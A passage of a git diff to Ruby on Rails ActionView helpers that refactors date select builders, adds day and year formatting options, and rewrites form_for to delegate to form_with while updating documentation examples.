-      #   select_time(my_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
-      #   select_time(my_time, prompt: {hour: true}) # generic prompt for hours
+      #   select_time(my_time, prompt: { day: 'Choose day', month: 'Choose month', year: 'Choose year' })
+      #   select_time(my_time, prompt: { hour: true }) # generic prompt for hours
       #   select_time(my_time, prompt: true) # generic prompts for all
       def select_time(datetime = Time.current, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_time
@@ -670,8 +704,6 @@ def select_year(date, options = {}, html_options = {})
       #     <time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time>
       #   time_tag Date.yesterday, 'Yesterday'  # =>
       #     <time datetime="2010-11-03">Yesterday</time>
-      #   time_tag Date.today, pubdate: true  # =>
-      #     <time datetime="2010-11-04" pubdate="pubdate">November 04, 2010</time>
       #   time_tag Date.today, datetime: Date.today.strftime('%G-W%V') # =>
       #     <time datetime="2010-W44">November 04, 2010</time>
       #
@@ -683,16 +715,26 @@ def time_tag(date_or_time, *args, &block)
         options  = args.extract_options!
         format   = options.delete(:format) || :long
         content  = args.first || I18n.l(date_or_time, format: format)
-        datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.iso8601
 
-        content_tag("time".freeze, content, options.reverse_merge(datetime: datetime), &block)
+        content_tag("time", content, options.reverse_merge(datetime: date_or_time.iso8601), &block)
       end
+
+      private
+        def normalize_distance_of_time_argument_to_time(value)
+          if value.is_a?(Numeric)
+            Time.at(value)
+          elsif value.respond_to?(:to_time)
+            value.to_time
+          else
+            raise ArgumentError, "#{value.inspect} can't be converted to a Time value"
+          end
+        end
     end
 
-    class DateTimeSelector #:nodoc:
+    class DateTimeSelector # :nodoc:
       include ActionView::Helpers::TagHelper
 
-      DEFAULT_PREFIX = "date".freeze
+      DEFAULT_PREFIX = "date"
       POSITION = {
         year: 1, month: 2, day: 3, hour: 4, minute: 5, second: 6
       }.freeze
@@ -801,7 +843,7 @@ def select_day
         if @options[:use_hidden] || @options[:discard_day]
           build_hidden(:day, day || 1)
         else
-          build_options_and_select(:day, day, start: 1, end: 31, leading_zeros: false, use_two_digit_numbers: @options[:use_two_digit_numbers])
+          build_select(:day, build_day_options(day))
         end
       end
 
@@ -813,14 +855,14 @@ def select_month
           1.upto(12) do |month_number|
             options = { value: month_number }
             options[:selected] = "selected" if month == month_number
-            month_options << content_tag("option".freeze, month_name(month_number), options) + "\n"
+            month_options << content_tag("option", month_name(month_number), options) + "\n"
           end
           build_select(:month, month_options.join)
         end
       end
 
       def select_year
-        if !@datetime || @datetime == 0
+        if !year || @datetime == 0
           val = "1"
           middle_year = Date.today.year
         else
@@ -830,18 +872,18 @@ def select_year
         if @options[:use_hidden] || @options[:discard_year]
           build_hidden(:year, val)
         else
-          options                     = {}
-          options[:start]             = @options[:start_year] || middle_year - 5
-          options[:end]               = @options[:end_year] || middle_year + 5
-          options[:step]              = options[:start] < options[:end] ? 1 : -1
-          options[:leading_zeros]     = false
-          options[:max_years_allowed] = @options[:max_years_allowed] || 1000
-
-          if (options[:end] - options[:start]).abs > options[:max_years_allowed]
+          options         = {}
+          options[:start] = @options[:start_year] || middle_year - 5
+          options[:end]   = @options[:end_year] || middle_year + 5
+          options[:step]  = options[:start] < options[:end] ? 1 : -1
+
+          max_years_allowed = @options[:max_years_allowed] || 1000
+
+          if (options[:end] - options[:start]).abs > max_years_allowed
             raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
           end
 
-          build_options_and_select(:year, val, options)
+          build_select(:year, build_year_options(val, options))
         end
       end
 
@@ -857,6 +899,10 @@ def select_year
           end
         end
 
+        def prompt_text(prompt, type)
+          prompt.kind_of?(String) ? prompt : I18n.translate(:"datetime.prompts.#{type}", locale: @options[:locale])
+        end
+
         # If the day is hidden, the day should be set to the 1st so all month and year choices are
         # valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid.
         def set_day_if_discarded
@@ -870,7 +916,7 @@ def set_day_if_discarded
         def month_names
           @month_names ||= begin
             month_names = @options[:use_month_names] || translated_month_names
-            month_names.unshift(nil) if month_names.size < 13
+            month_names = [nil, *month_names] if month_names.size < 13
             month_names
           end
         end
@@ -889,6 +935,27 @@ def translated_month_names
           I18n.translate(key, locale: @options[:locale])
         end
 
+        # Looks up day names by number.
+        #
+        #   day_name(1) # => 1
+        #
+        # If the <tt>use_two_digit_numbers: true</tt> option is passed to DateTimeSelector:
+        #
+        #   day_name(1) # => "01"
+        #
+        # If the <tt>day_format: ->(day) { day.ordinalize }</tt> option is passed to DateTimeSelector:
+        #
+        #   day_name(1) # => "1st"
+        def day_name(number)
+          if day_format_lambda = @options[:day_format]
+            day_format_lambda.call(number)
+          elsif @options[:use_two_digit_numbers]
+            "%02d" % number
+          else
+            number
+          end
+        end
+
         # Looks up month names by number (1-based):
         #
         #   month_name(1) # => "January"
@@ -897,7 +964,7 @@ def translated_month_names
         #
         #   month_name(1) # => 1
         #
-        # If the <tt>:use_two_month_numbers</tt> option is passed:
+        # If the <tt>:use_two_digit_numbers</tt> option is passed:
         #
         #   month_name(1) # => '01'
         #
@@ -924,6 +991,21 @@ def month_name(number)
           end
         end
 
+        # Looks up year names by number.
+        #
+        #   year_name(1998) # => 1998
+        #
+        # If the <tt>:year_format</tt> option is passed:
+        #
+        #   year_name(1998) # => "Heisei 10"
+        def year_name(number)
+          if year_format_lambda = @options[:year_format]
+            year_format_lambda.call(number)
+          else
+            number
+          end
+        end
+
         def date_order
           @date_order ||= @options[:order] || translated_date_order
         end
@@ -947,22 +1029,25 @@ def build_options_and_select(type, selected, options = {})
         end
 
         # Build select option HTML from date value and options.
-        #  build_options(15, start: 1, end: 31)
-        #  => "<option value="1">1</option>
-        #      <option value="2">2</option>
-        #      <option value="3">3</option>..."
         #
-        # If <tt>use_two_digit_numbers: true</tt> option is passed
-        #  build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
-        #  => "<option value="1">01</option>
-        #      <option value="2">02</option>
-        #      <option value="3">03</option>..."
+        #   build_options(15, start: 1, end: 31)
+        #   => "<option value="1">1</option>
+        #       <option value="2">2</option>
+        #       <option value="3">3</option>..."
+        #
+        # If <tt>use_two_digit_numbers: true</tt> option is passed:
+        #
+        #   build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
+        #   => "<option value="1">01</option>
+        #       <option value="2">02</option>
+        #       <option value="3">03</option>..."
         #
-        # If <tt>:step</tt> options is passed
-        #  build_options(15, start: 1, end: 31, step: 2)
-        #  => "<option value="1">1</option>
-        #      <option value="3">3</option>
-        #      <option value="5">5</option>..."
+        # If <tt>:step</tt> options is passed:
+        #
+        #   build_options(15, start: 1, end: 31, step: 2)
+        #   => "<option value="1">1</option>
+        #       <option value="3">3</option>
+        #       <option value="5">5</option>..."
         def build_options(selected, options = {})
           options = {
             leading_zeros: true, ampm: false, use_two_digit_numbers: false
@@ -980,17 +1065,72 @@ def build_options(selected, options = {})
             tag_options[:selected] = "selected" if selected == i
             text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value
             text = options[:ampm] ? AMPM_TRANSLATION[i] : text
-            select_options << content_tag("option".freeze, text, tag_options)
+            select_options << content_tag("option", text, tag_options)
+          end
+
+          (select_options.join("\n") + "\n").html_safe
+        end
+
+        # Build select option HTML for day.
+        #
+        #   build_day_options(2)
+        #   => "<option value="1">1</option>
+        #       <option value="2" selected="selected">2</option>
+        #       <option value="3">3</option>..."
+        #
+        # If <tt>day_format: ->(day) { day.ordinalize }</tt> option is passed to DateTimeSelector
+        #
+        #   build_day_options(2)
+        #   => "<option value="1">1st</option>
+        #       <option value="2" selected="selected">2nd</option>
+        #       <option value="3">3rd</option>..."
+        #
+        # If <tt>use_two_digit_numbers: true</tt> option is passed to DateTimeSelector
+        #
+        #   build_day_options(2)
+        #   => "<option value="1">01</option>
+        #       <option value="2" selected="selected">02</option>
+        #       <option value="3">03</option>..."
+        def build_day_options(selected)
+          select_options = []
+          (1..31).each do |value|
+            tag_options = { value: value }
+            tag_options[:selected] = "selected" if selected == value
+            text = day_name(value)
+            select_options << content_tag("option", text, tag_options)
+          end
+
+          (select_options.join("\n") + "\n").html_safe
+        end
+
+        # Build select option HTML for year.
+        #
+        #   build_year_options(1998, start: 1998, end: 2000)
+        #   => "<option value="1998" selected="selected">1998</option>
+        #       <option value="1999">1999</option>
+        #       <option value="2000">2000</option>"
+        def build_year_options(selected, options = {})
+          start = options.delete(:start)
+          stop = options.delete(:end)
+          step = options.delete(:step)
+
+          select_options = []
+          start.step(stop, step) do |value|
+            tag_options = { value: value }
+            tag_options[:selected] = "selected" if selected == value
+            text = year_name(value)
+            select_options << content_tag("option", text, tag_options)
           end
 
           (select_options.join("\n") + "\n").html_safe
         end
 
         # Builds select tag from date type and HTML select options.
-        #  build_select(:month, "<option value="1">January</option>...")
-        #  => "<select id="post_written_on_2i" name="post[written_on(2i)]">
-        #        <option value="1">January</option>...
-        #      </select>"
+        #
+        #   build_select(:month, "<option value="1">January</option>...")
+        #   => "<select id="post_written_on_2i" name="post[written_on(2i)]">
+        #         <option value="1">January</option>...
+        #       </select>"
         def build_select(type, select_options_as_html)
           select_options = {
             id: input_id_from_type(type),
@@ -999,17 +1139,18 @@ def build_select(type, select_options_as_html)
           select_options[:disabled] = "disabled" if @options[:disabled]
           select_options[:class] = css_class_attribute(type, select_options[:class], @options[:with_css_classes]) if @options[:with_css_classes]
 
-          select_html = "\n"
-          select_html << content_tag("option".freeze, "", value: "") + "\n" if @options[:include_blank]
+          select_html = +"\n"
+          select_html << content_tag("option", "", value: "", label: " ") + "\n" if @options[:include_blank]
           select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
           select_html << select_options_as_html
 
-          (content_tag("select".freeze, select_html.html_safe, select_options) + "\n").html_safe
+          (content_tag("select", select_html.html_safe, select_options) + "\n").html_safe
         end
 
-        # Builds the css class value for the select element
-        #  css_class_attribute(:year, 'date optional', { year: 'my-year' })
-        #  => "date optional my-year"
+        # Builds the CSS class value for the select element.
+        #
+        #   css_class_attribute(:year, 'date optional', { year: 'my-year' })
+        #   => "date optional my-year"
         def css_class_attribute(type, html_options_class, options) # :nodoc:
           css_class = \
             case options
@@ -1023,8 +1164,9 @@ def css_class_attribute(type, html_options_class, options) # :nodoc:
         end
 
         # Builds a prompt option tag with supplied options or from default options.
-        #  prompt_option_tag(:month, prompt: 'Select month')
-        #  => "<option value="">Select month</option>"
+        #
+        #   prompt_option_tag(:month, prompt: 'Select month')
+        #   => "<option value="">Select month</option>"
         def prompt_option_tag(type, options)
           prompt = \
             case options
@@ -1037,18 +1179,20 @@ def prompt_option_tag(type, options)
               I18n.translate(:"datetime.prompts.#{type}", locale: @options[:locale])
             end
 
-          prompt ? content_tag("option".freeze, prompt, value: "") : ""
+          prompt ? content_tag("option", prompt_text(prompt, type), value: "") : ""
         end
 
         # Builds hidden input tag for date part and value.
-        #  build_hidden(:year, 2008)
-        #  => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
+        #
+        #   build_hidden(:year, 2008)
+        #   => "<input type="hidden" id="date_year" name="date[year]" value="2008" autocomplete="off" />"
         def build_hidden(type, value)
           select_options = {
             type: "hidden",
             id: input_id_from_type(type),
             name: input_name_from_type(type),
-            value: value
+            value: value,
+            autocomplete: "off"
           }.merge!(@html_options.slice(:disabled))
           select_options[:disabled] = "disabled" if @options[:disabled]
 
@@ -1072,7 +1216,7 @@ def input_name_from_type(type)
         # Returns the id attribute for the input tag.
         #  => "post_written_on_1i"
         def input_id_from_type(type)
-          id = input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, "_").gsub(/[\]\)]/, "")
+          id = input_name_from_type(type).gsub(/([\[(])|(\]\[)/, "_").gsub(/[\])]/, "")
           id = @options[:namespace] + "_" + id if @options[:namespace]
 
           id
@@ -1081,11 +1225,11 @@ def input_id_from_type(type)
         # Given an ordering of datetime components, create the selection HTML
         # and join them with their appropriate separators.
         def build_selects_from_types(order)
-          select = ""
+          select = +""
           first_visible = order.find { |type| !@options[:"discard_#{type}"] }
           order.reverse_each do |type|
             separator = separator(type) unless type == first_visible # don't add before first visible field
-            select.insert(0, separator.to_s + send("select_#{type}").to_s)
+            select.insert(0, separator.to_s + public_send("select_#{type}").to_s)
           end
           select.html_safe
         end
@@ -1108,7 +1252,7 @@ def separator(type)
     class FormBuilder
       # Wraps ActionView::Helpers::DateHelper#date_select for form builders:
       #
-      #   <%= form_for @person do |f| %>
+      #   <%= form_with model: @person do |f| %>
       #     <%= f.date_select :birth_date %>
       #     <%= f.submit %>
       #   <% end %>
@@ -1120,7 +1264,7 @@ def date_select(method, options = {}, html_options = {})
 
       # Wraps ActionView::Helpers::DateHelper#time_select for form builders:
       #
-      #   <%= form_for @race do |f| %>
+      #   <%= form_with model: @race do |f| %>
       #     <%= f.time_select :average_lap %>
       #     <%= f.submit %>
       #   <% end %>
@@ -1132,7 +1276,7 @@ def time_select(method, options = {}, html_options = {})
 
       # Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:
       #
-      #   <%= form_for @person do |f| %>
+      #   <%= form_with model: @person do |f| %>
       #     <%= f.datetime_select :last_request_at %>
       #     <%= f.submit %>
       #   <% end %>
diff --git a/actionview/lib/action_view/helpers/debug_helper.rb b/actionview/lib/action_view/helpers/debug_helper.rb
index f61ca2c9c29fd..5de04f1ba7648 100644
--- a/actionview/lib/action_view/helpers/debug_helper.rb
+++ b/actionview/lib/action_view/helpers/debug_helper.rb
@@ -1,8 +1,12 @@
+# frozen_string_literal: true
+
+require "action_view/helpers/tag_helper"
+
 module ActionView
-  # = Action View Debug Helper
-  #
-  # Provides a set of methods for making it easier to debug Rails objects.
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View Debug \Helpers
+    #
+    # Provides a set of methods for making it easier to debug \Rails objects.
     module DebugHelper
       include TagHelper
 
@@ -22,7 +26,7 @@ module DebugHelper
       #     created_at:
       #   </pre>
       def debug(object)
-        Marshal::dump(object)
+        Marshal.dump(object)
         object = ERB::Util.html_escape(object.to_yaml)
         content_tag(:pre, object, class: "debug_dump")
       rescue # errors from Marshal or YAML
diff --git a/actionview/lib/action_view/helpers/form_helper.rb b/actionview/lib/action_view/helpers/form_helper.rb
index 26a625e4fe3c0..8b97b55156a27 100644
--- a/actionview/lib/action_view/helpers/form_helper.rb
+++ b/actionview/lib/action_view/helpers/form_helper.rb
@@ -1,23 +1,26 @@
-require "cgi"
+# frozen_string_literal: true
+
 require "action_view/helpers/date_helper"
-require "action_view/helpers/tag_helper"
+require "action_view/helpers/url_helper"
 require "action_view/helpers/form_tag_helper"
 require "action_view/helpers/active_model_helper"
 require "action_view/model_naming"
 require "action_view/record_identifier"
+require "active_support/code_generator"
 require "active_support/core_ext/module/attribute_accessors"
 require "active_support/core_ext/hash/slice"
 require "active_support/core_ext/string/output_safety"
 require "active_support/core_ext/string/inflections"
 
 module ActionView
-  # = Action View Form Helpers
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View Form \Helpers
+    #
     # Form helpers are designed to make working with resources much easier
     # compared to using vanilla HTML.
     #
     # Typically, a form designed to create or update a resource reflects the
-    # identity of the resource in several ways: (i) the url that the form is
+    # identity of the resource in several ways: (i) the URL that the form is
     # sent to (the form element's +action+ attribute) should result in a request
     # being routed to the appropriate controller action (with the appropriate <tt>:id</tt>
     # parameter in the case of an existing resource), (ii) input fields should
@@ -26,20 +29,21 @@ module Helpers
     # when the form is initially displayed, input fields corresponding to attributes
     # of the resource should show the current values of those attributes.
     #
-    # In Rails, this is usually achieved by creating the form using +form_for+ and
-    # a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
-    # tag and yields a form builder object that knows the model the form is about.
-    # Input fields are created by calling methods defined on the form builder, which
-    # means they are able to generate the appropriate names and default values
+    # In \Rails, this is usually achieved by creating the form using either
+    # #form_with or #form_for and a number of related helper methods. These
+    # methods generate an appropriate <tt>form</tt> tag and yield a form
+    # builder object that knows the model the form is about. Input fields are
+    # created by calling methods defined on the form builder, which means they
+    # are able to generate the appropriate names and default values
     # corresponding to the model attributes, as well as convenient IDs, etc.
-    # Conventions in the generated field names allow controllers to receive form data
-    # nicely structured in +params+ with no effort on your side.
+    # Conventions in the generated field names allow controllers to receive form
+    # data nicely structured in +params+ with no effort on your side.
     #
     # For example, to create a new person you typically set up a new instance of
     # +Person+ in the <tt>PeopleController#new</tt> action, <tt>@person</tt>, and
-    # in the view template pass that object to +form_for+:
+    # in the view template pass that object to #form_with or #form_for:
     #
-    #   <%= form_for @person do |f| %>
+    #   <%= form_with model: @person do |f| %>
     #     <%= f.label :first_name %>:
     #     <%= f.text_field :first_name %><br />
     #
@@ -120,7 +124,7 @@ module FormHelper
       # of a specific model object.
       #
       # The method can be used in several slightly different ways, depending on
-      # how much you wish to rely on Rails to infer automatically from the model
+      # how much you wish to rely on \Rails to infer automatically from the model
       # how the form should be constructed. For a generic model object, a form
       # can be created by passing +form_for+ a string or symbol representing
       # the object we are concerned with:
@@ -128,8 +132,8 @@ module FormHelper
       #   <%= form_for :person do |f| %>
       #     First name: <%= f.text_field :first_name %><br />
       #     Last name : <%= f.text_field :last_name %><br />
-      #     Biography : <%= f.text_area :biography %><br />
-      #     Admin?    : <%= f.check_box :admin %><br />
+      #     Biography : <%= f.textarea :biography %><br />
+      #     Admin?    : <%= f.checkbox :admin %><br />
       #     <%= f.submit %>
       #   <% end %>
       #
@@ -164,7 +168,7 @@ module FormHelper
       #   So for example you may use a named route directly. When the model is
       #   represented by a string or symbol, as in the example above, if the
       #   <tt>:url</tt> option is not specified, by default the form will be
-      #   sent back to the current url (We will describe below an alternative
+      #   sent back to the current URL (We will describe below an alternative
       #   resource-oriented usage of +form_for+ in which the URL does not need
       #   to be specified explicitly).
       # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
@@ -183,8 +187,7 @@ module FormHelper
       #   get the authenticity token from the <tt>meta</tt> tag, so embedding is
       #   unnecessary unless you support browsers without JavaScript.
       # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive
-      #   JavaScript drivers to control the submit behavior. By default this
-      #   behavior is an ajax submit.
+      #   JavaScript drivers to control the submit behavior.
       # * <tt>:enforce_utf8</tt> - If set to false, a hidden input with name
       #   utf8 is not output.
       # * <tt>:html</tt> - Optional HTML attributes for the form tag.
@@ -196,32 +199,32 @@ module FormHelper
       #   <%= form_for :person do |f| %>
       #     First name: <%= f.text_field :first_name %>
       #     Last name : <%= f.text_field :last_name %>
-      #     Biography : <%= text_area :person, :biography %>
-      #     Admin?    : <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
+      #     Biography : <%= textarea :person, :biography %>
+      #     Admin?    : <%= checkbox_tag "person[admin]", "1", @person.company.admin? %>
       #     <%= f.submit %>
       #   <% end %>
       #
-      # This also works for the methods in FormOptionHelper and DateHelper that
+      # This also works for the methods in FormOptionsHelper and DateHelper that
       # are designed to work with an object as base, like
-      # FormOptionHelper#collection_select and DateHelper#datetime_select.
+      # FormOptionsHelper#collection_select and DateHelper#datetime_select.
       #
-      # === #form_for with a model object
+      # === +form_for+ with a model object
       #
       # In the examples above, the object to be created or edited was
       # represented by a symbol passed to +form_for+, and we noted that
       # a string can also be used equivalently. It is also possible, however,
-      # to pass a model object itself to +form_for+. For example, if <tt>@post</tt>
+      # to pass a model object itself to +form_for+. For example, if <tt>@article</tt>
       # is an existing record you wish to edit, you can create the form using
       #
-      #   <%= form_for @post do |f| %>
+      #   <%= form_for @article do |f| %>
       #     ...
       #   <% end %>
       #
       # This behaves in almost the same way as outlined previously, with a
       # couple of small exceptions. First, the prefix used to name the input
       # elements within the form (hence the key that denotes them in the +params+
-      # hash) is actually derived from the object's _class_, e.g. <tt>params[:post]</tt>
-      # if the object's class is +Post+. However, this can be overwritten using
+      # hash) is actually derived from the object's _class_, e.g. <tt>params[:article]</tt>
+      # if the object's class is +Article+. However, this can be overwritten using
       # the <tt>:as</tt> option, e.g. -
       #
       #   <%= form_for(@person, as: :client) do |f| %>
@@ -233,15 +236,15 @@ module FormHelper
       # Secondly, the field values shown when the form is initially displayed
       # are taken from the attributes of the object passed to +form_for+,
       # regardless of whether the object is an instance
-      # variable. So, for example, if we had a _local_ variable +post+
+      # variable. So, for example, if we had a _local_ variable +article+
       # representing an existing record,
       #
-      #   <%= form_for post do |f| %>
+      #   <%= form_for article do |f| %>
       #     ...
       #   <% end %>
       #
       # would produce a form with fields whose initial state reflect the current
-      # values of the attributes of +post+.
+      # values of the attributes of +article+.
       #
       # === Resource-oriented style
       #
@@ -250,46 +253,52 @@ module FormHelper
       # form is going to be sent. However, further simplification is possible
       # if the record passed to +form_for+ is a _resource_, i.e. it corresponds
       # to a set of RESTful routes, e.g. defined using the +resources+ method
-      # in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
+      # in <tt>config/routes.rb</tt>. In this case \Rails will simply infer the
       # appropriate URL from the record itself. For example,
       #
-      #   <%= form_for @post do |f| %>
+      #   <%= form_for @article do |f| %>
       #     ...
       #   <% end %>
       #
       # is then equivalent to something like:
       #
-      #   <%= form_for @post, as: :post, url: post_path(@post), method: :patch, html: { class: "edit_post", id: "edit_post_45" } do |f| %>
+      #   <%= form_for @article, as: :article, url: article_path(@article), method: :patch, html: { class: "edit_article", id: "edit_article_45" } do |f| %>
       #     ...
       #   <% end %>
       #
       # And for a new record
       #
-      #   <%= form_for(Post.new) do |f| %>
+      #   <%= form_for(Article.new) do |f| %>
       #     ...
       #   <% end %>
       #
       # is equivalent to something like:
       #
-      #   <%= form_for @post, as: :post, url: posts_path, html: { class: "new_post", id: "new_post" } do |f| %>
+      #   <%= form_for @article, as: :article, url: articles_path, html: { class: "new_article", id: "new_article" } do |f| %>
       #     ...
       #   <% end %>
       #
       # However you can still overwrite individual conventions, such as:
       #
-      #   <%= form_for(@post, url: super_posts_path) do |f| %>
+      #   <%= form_for(@article, url: super_articles_path) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # You can omit the <tt>action</tt> attribute by passing <tt>url: false</tt>:
+      #
+      #   <%= form_for(@article, url: false) do |f| %>
       #     ...
       #   <% end %>
       #
       # You can also set the answer format, like this:
       #
-      #   <%= form_for(@post, format: :json) do |f| %>
+      #   <%= form_for(@article, format: :json) do |f| %>
       #     ...
       #   <% end %>
       #
-      # For namespaced routes, like +admin_post_url+:
+      # For namespaced routes, like +admin_article_url+:
       #
-      #   <%= form_for([:admin, @post]) do |f| %>
+      #   <%= form_for([:admin, @article]) do |f| %>
       #    ...
       #   <% end %>
       #
@@ -320,14 +329,12 @@ module FormHelper
       #    remote: true
       #
       # in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its
-      # behavior. The expected default behavior is an XMLHttpRequest in the background instead of the regular
-      # POST arrangement, but ultimately the behavior is the choice of the JavaScript driver implementor.
-      # Even though it's using JavaScript to serialize the form elements, the form submission will work just like
-      # a regular submission as viewed by the receiving side (all elements available in <tt>params</tt>).
+      # behavior. The form submission will work just like a regular submission as viewed by the receiving
+      # side (all elements available in <tt>params</tt>).
       #
       # Example:
       #
-      #   <%= form_for(@post, remote: true) do |f| %>
+      #   <%= form_for(@article, remote: true) do |f| %>
       #     ...
       #   <% end %>
       #
@@ -343,7 +350,7 @@ module FormHelper
       # You can set data attributes directly by passing in a data hash, but all other HTML options must be wrapped in
       # the HTML key. Example:
       #
-      #   <%= form_for(@post, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
+      #   <%= form_for(@article, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
       #     ...
       #   <% end %>
       #
@@ -356,17 +363,17 @@ module FormHelper
       #
       # === Removing hidden model id's
       #
-      # The form_for method automatically includes the model id as a hidden field in the form.
+      # The +form_for+ method automatically includes the model id as a hidden field in the form.
       # This is used to maintain the correlation between the form data and its associated model.
       # Some ORM systems do not use IDs on nested models so in this case you want to be able
       # to disable the hidden id.
       #
-      # In the following example the Post model has many Comments stored within it in a NoSQL database,
+      # In the following example the Article model has many Comments stored within it in a NoSQL database,
       # thus there is no primary key for comments.
       #
       # Example:
       #
-      #   <%= form_for(@post) do |f| %>
+      #   <%= form_for(@article) do |f| %>
       #     <%= f.fields_for(:comments, include_id: false) do |cf| %>
       #       ...
       #     <% end %>
@@ -382,8 +389,8 @@ module FormHelper
       #   <%= form_for @person, url: { action: "create" }, builder: LabellingFormBuilder do |f| %>
       #     <%= f.text_field :first_name %>
       #     <%= f.text_field :last_name %>
-      #     <%= f.text_area :biography %>
-      #     <%= f.check_box :admin %>
+      #     <%= f.textarea :biography %>
+      #     <%= f.checkbox :admin %>
       #     <%= f.submit %>
       #   <% end %>
       #
@@ -416,129 +423,163 @@ module FormHelper
       #
       # To set an authenticity token you need to pass an <tt>:authenticity_token</tt> parameter
       #
-      #   <%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f|
+      #   <%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
       #     ...
       #   <% end %>
       #
       # If you don't want to an authenticity token field be rendered at all just pass <tt>false</tt>:
       #
-      #   <%= form_for @invoice, url: external_url, authenticity_token: false do |f|
+      #   <%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
       #     ...
       #   <% end %>
       def form_for(record, options = {}, &block)
         raise ArgumentError, "Missing block" unless block_given?
-        html_options = options[:html] ||= {}
 
         case record
         when String, Symbol
+          model       = false
           object_name = record
-          object      = nil
         else
-          object      = record.is_a?(Array) ? record.last : record
+          model       = record
+          object      = _object_for_form_builder(record)
           raise ArgumentError, "First argument in form cannot contain nil or be empty" unless object
           object_name = options[:as] || model_name_from_record_or_class(object).param_key
-          apply_form_for_options!(record, object, options)
+          apply_form_for_options!(object, options)
         end
 
-        html_options[:data]   = options.delete(:data)   if options.has_key?(:data)
-        html_options[:remote] = options.delete(:remote) if options.has_key?(:remote)
-        html_options[:method] = options.delete(:method) if options.has_key?(:method)
-        html_options[:enforce_utf8] = options.delete(:enforce_utf8) if options.has_key?(:enforce_utf8)
-        html_options[:authenticity_token] = options.delete(:authenticity_token)
+        remote = options.delete(:remote)
+
+        if remote && !embed_authenticity_token_in_remote_forms && options[:authenticity_token].blank?
+          options[:authenticity_token] = false
+        end
 
-        builder = instantiate_builder(object_name, object, options)
-        output  = capture(builder, &block)
-        html_options[:multipart] ||= builder.multipart?
+        options[:model]                               = model
+        options[:scope]                               = object_name
+        options[:local]                               = !remote
+        options[:skip_default_ids]                    = false
+        options[:allow_method_names_outside_object]   = options.fetch(:allow_method_names_outside_object, false)
 
-        html_options = html_options_for_form(options[:url] || {}, html_options)
-        form_tag_with_body(html_options, output)
+        form_with(**options, &block)
       end
 
-      def apply_form_for_options!(record, object, options) #:nodoc:
+      def apply_form_for_options!(object, options) # :nodoc:
         object = convert_to_model(object)
 
         as = options[:as]
         namespace = options[:namespace]
-        action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
+        action = object.respond_to?(:persisted?) && object.persisted? ? :edit : :new
+        options[:html] ||= {}
         options[:html].reverse_merge!(
           class:  as ? "#{action}_#{as}" : dom_class(object, action),
           id:     (as ? [namespace, action, as] : [namespace, dom_id(object, action)]).compact.join("_").presence,
-          method: method
         )
-
-        options[:url] ||= if options.key?(:format)
-          polymorphic_path(record, format: options.delete(:format))
-        else
-          polymorphic_path(record, {})
-        end
       end
       private :apply_form_for_options!
 
+      mattr_accessor :form_with_generates_remote_forms, default: true
+
+      mattr_accessor :form_with_generates_ids, default: false
+
+      mattr_accessor :multiple_file_field_include_hidden, default: false
+
       # Creates a form tag based on mixing URLs, scopes, or models.
       #
       #   # Using just a URL:
-      #   <%= form_with url: posts_path do |form| %>
+      #   <%= form_with url: articles_path do |form| %>
       #     <%= form.text_field :title %>
       #   <% end %>
       #   # =>
-      #   <form action="/posts" method="post" data-remote="true">
-      #     <input type="text" name="title">
+      #   <form action="/articles" method="post">
+      #     <input type="text" name="title" />
+      #   </form>
+      #
+      #   # With an intentionally empty URL:
+      #   <%= form_with url: false do |form| %>
+      #     <%= form.text_field :title %>
+      #   <% end %>
+      #   # =>
+      #   <form method="post">
+      #     <input type="text" name="title" />
       #   </form>
       #
       #   # Adding a scope prefixes the input field names:
-      #   <%= form_with scope: :post, url: posts_path do |form| %>
+      #   <%= form_with scope: :article, url: articles_path do |form| %>
       #     <%= form.text_field :title %>
       #   <% end %>
       #   # =>
-      #   <form action="/posts" method="post" data-remote="true">
-      #     <input type="text" name="post[title]">
+      #   <form action="/articles" method="post">
+      #     <input type="text" name="article[title]" />
       #   </form>
       #
       #   # Using a model infers both the URL and scope:
-      #   <%= form_with model: Post.new do |form| %>
+      #   <%= form_with model: Article.new do |form| %>
       #     <%= form.text_field :title %>
       #   <% end %>
       #   # =>
-      #   <form action="/posts" method="post" data-remote="true">
-      #     <input type="text" name="post[title]">
+      #   <form action="/articles" method="post">
+      #     <input type="text" name="article[title]" />
       #   </form>
       #
       #   # An existing model makes an update form and fills out field values:
-      #   <%= form_with model: Post.first do |form| %>
+      #   <%= form_with model: Article.first do |form| %>
       #     <%= form.text_field :title %>
       #   <% end %>
       #   # =>
-      #   <form action="/posts/1" method="post" data-remote="true">
-      #     <input type="hidden" name="_method" value="patch">
-      #     <input type="text" name="post[title]" value="<the title of the post>">
+      #   <form action="/articles/1" method="post">
+      #     <input type="hidden" name="_method" value="patch" />
+      #     <input type="text" name="article[title]" value="<the title of the article>" />
       #   </form>
-      #
       #   # Though the fields don't have to correspond to model attributes:
       #   <%= form_with model: Cat.new do |form| %>
       #     <%= form.text_field :cats_dont_have_gills %>
       #     <%= form.text_field :but_in_forms_they_can %>
       #   <% end %>
       #   # =>
